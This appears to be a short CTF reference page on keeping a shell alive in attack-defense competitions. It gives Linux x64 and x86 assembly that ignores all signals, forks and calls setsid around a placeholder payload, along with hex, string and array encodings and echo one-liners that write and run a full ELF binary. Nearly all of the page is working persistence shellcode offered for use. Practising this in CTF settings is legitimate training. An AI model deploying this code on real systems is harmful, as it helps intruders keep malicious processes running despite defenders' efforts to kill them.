How to persist shell in Attack-Defense CTF

Table of Contents

Linux/x64

Assembly

;// struct sigaction *action; sigemptyset(&action->sa_mask);
      xor rdx, rdx
      push 0x11
      pop rcx
sigemptyset:
      dec rcx
      push rdx
      jnz sigemptyset
;// action->sa_handler = SIG_IGN;
      push 0x1
      mov rsi, rsp
      push 0x8
      pop r10

;// for(int i=0; i<0x20; i++) signal(i, SIG_IGN);
      push 0x20
ignore:
      pop rcx
      dec rcx
      push rcx
      push rcx
      pop rdi
      push 0xd
      pop rax
      syscall
      jnz ignore

fork:
;// if (!fork()) { for(int i=-1; i==0; i--); exit(); } else { /* child */}
      push 0x39
      pop rax
      syscall
      test rax, rax
      je child
      xor ecx, ecx
sleep:
      dec ecx
      jnz sleep
      push 0x3c
      pop rax
      syscall ;// exit();

child:
;// setsid();
      push 0x70
      pop rax
      syscall

;// shellcode goes here
      int3
      int3
      int3
      int3
      int3
      int3
      int3
      int3

;// infinite loop
      ;// jmp child ;// '\xeb'+chr(256-7-len(shellcode))
      ;// jmp fork  ;// '\xeb'+chr(256-28-len(shellcode))

Other formats:

Format Value
Raw Hex 4831D26A115948FFC95275FA6A014889E66A08415A6A205948FFC951515F6A0D580F0575F26A39580F054885C0740B31C9FFC975FC6A3C580F056A70580F05CCCCCCCCCCCCCCCC
String Literal \x48\x31\xD2\x6A\x11\x59\x48\xFF\xC9\x52\x75\xFA\x6A\x01\x48\x89\xE6\x6A\x08\x41\x5A\x6A\x20\x59\x48\xFF\xC9\x51\x51\x5F\x6A\x0D\x58\x0F\x05\x75\xF2\x6A\x39\x58\x0F\x05\x48\x85\xC0\x74\x0B\x31\xC9\xFF\xC9\x75\xFC\x6A\x3C\x58\x0F\x05\x6A\x70\x58\x0F\x05\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC
Array Literal {0x48,0x31,0xD2,0x6A,0x11,0x59,0x48,0xFF,0xC9,0x52,0x75,0xFA,0x6A,0x01,0x48,0x89,0xE6,0x6A,0x08,0x41,0x5A,0x6A,0x20,0x59,0x48,0xFF,0xC9,0x51,0x51,0x5F,0x6A,0x0D,0x58,0x0F,0x05,0x75,0xF2,0x6A,0x39,0x58,0x0F,0x05,0x48,0x85,0xC0,0x74,0x0B,0x31,0xC9,0xFF,0xC9,0x75,0xFC,0x6A,0x3C,0x58,0x0F,0x05,0x6A,0x70,0x58,0x0F,0x05,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC}
Shell Script echo -en ‘\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x60\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x40\x00\x05\x00\x04\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xc7\x00\x00\x00\x00\x00\x00\x00\xc7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x31\xd2\x6a\x11\x59\x48\xff\xc9\x52\x75\xfa\x6a\x01\x48\x89\xe6\x6a\x08\x41\x5a\x6a\x20\x59\x48\xff\xc9\x51\x51\x5f\x6a\x0d\x58\x0f\x05\x75\xf2\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0b\x31\xc9\xff\xc9\x75\xfc\x6a\x3c\x58\x0f\x05\x6a\x70\x58\x0f\x05\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x01\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\xf1\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00\x00\x00\x01\x00\x86\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x22\x00\x00\x00\x00\x00\x01\x00\x97\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x00\x00\x01\x00\xa5\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x00\x00\x00\x00\x00\x01\x00\xb1\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x00\x00\x00\x00\x01\x00\xba\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3a\x00\x00\x00\x10\x00\x01\x00\xc7\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x10\x00\x01\x00\xc7\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x00\x00\x10\x00\x01\x00\xc8\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x62\x61\x64\x61\x73\x73\x2d\x6c\x69\x6e\x75\x78\x2d\x78\x36\x34\x2e\x61\x73\x6d\x00\x73\x69\x67\x65\x6d\x70\x74\x79\x73\x65\x74\x00\x69\x67\x6e\x6f\x72\x65\x00\x66\x6f\x72\x6b\x00\x73\x6c\x65\x65\x70\x00\x63\x68\x69\x6c\x64\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x01\x00\x00\x00\x00\x00\x00\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3a\x02\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00’ > persist-linux-x64 && chmod +x persist-linux-x64 && ./persist-linux-x64

Linux/x86

Assembly

;// for(int i=0; i<0x20; i++) signal(i, SIG_IGN);
      push 0x20
ignore:
      pop ecx
      dec ecx
      push 0x1
      pop esi
      push ecx
      pop edi
      push 0x30
      pop eax
      push ecx
      int 0x80
      jnz ignore

fork:
;// if (!fork()) { for(int i=-1; i==0; i--); exit(); } else { /* child */}
      push 0x02
      pop eax
      int 0x80
      test eax, eax
      je child
      xor ecx, ecx
sleep:
      dec ecx
      jnz sleep
      push 0x1
      pop eax
      int 0x80

child:
;// setsid();
      push 0x42
      pop eax
      int 0x80

;// shellcode goes here
      int3
      int3
      int3
      int3
      int3
      int3
      int3
      int3

;// infinite loop
      ;// jmp child ;// '\xeb'+chr(256-7-len(shellcode))
      ;// jmp fork  ;// '\xeb'+chr(256-26-len(shellcode))

Other formats:

Format Value
Raw Hex 6A2059496A015E515F6A305851CD8075F16A0258CD8085C0740A31C94975FD6A0158CD806A4258CD80CCCCCCCCCCCCCCCC
String Literal \x6A\x20\x59\x49\x6A\x01\x5E\x51\x5F\x6A\x30\x58\x51\xCD\x80\x75\xF1\x6A\x02\x58\xCD\x80\x85\xC0\x74\x0A\x31\xC9\x49\x75\xFD\x6A\x01\x58\xCD\x80\x6A\x42\x58\xCD\x80\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC
Array Literal {0x6A,0x20,0x59,0x49,0x6A,0x01,0x5E,0x51,0x5F,0x6A,0x30,0x58,0x51,0xCD,0x80,0x75,0xF1,0x6A,0x02,0x58,0xCD,0x80,0x85,0xC0,0x74,0x0A,0x31,0xC9,0x49,0x75,0xFD,0x6A,0x01,0x58,0xCD,0x80,0x6A,0x42,0x58,0xCD,0x80,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC}
Shell Script echo -en ‘\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00\x00\x00\xac\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\x05\x00\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\x91\x00\x00\x00\x91\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x20\x59\x49\x6a\x01\x5e\x51\x5f\x6a\x30\x58\x51\xcd\x80\x75\xf1\x6a\x02\x58\xcd\x80\x85\xc0\x74\x0a\x31\xc9\x49\x75\xfd\x6a\x01\x58\xcd\x80\x6a\x42\x58\xcd\x80\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x80\x04\x08\x00\x00\x00\x00\x03\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\xf1\xff\x16\x00\x00\x00\x62\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x1d\x00\x00\x00\x71\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x22\x00\x00\x00\x7c\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x28\x00\x00\x00\x84\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x2e\x00\x00\x00\x91\x90\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\x3a\x00\x00\x00\x91\x90\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\x41\x00\x00\x00\x94\x90\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\x00\x62\x61\x64\x61\x73\x73\x2d\x6c\x69\x6e\x75\x78\x2d\x78\x38\x36\x2e\x61\x73\x6d\x00\x69\x67\x6e\x6f\x72\x65\x00\x66\x6f\x72\x6b\x00\x73\x6c\x65\x65\x70\x00\x63\x68\x69\x6c\x64\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60\x00\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\xb0\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x01\x00\x00\x46\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x01\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00’ > persist-linux-x86 && chmod +x persist-linux-x86 && ./persist-linux-x86

References

  1. setsid(2) - Linux man page
  2. w3challs syscall table
  3. Shellcodes database for study cases

last updated on Dec 12, 20 by Tree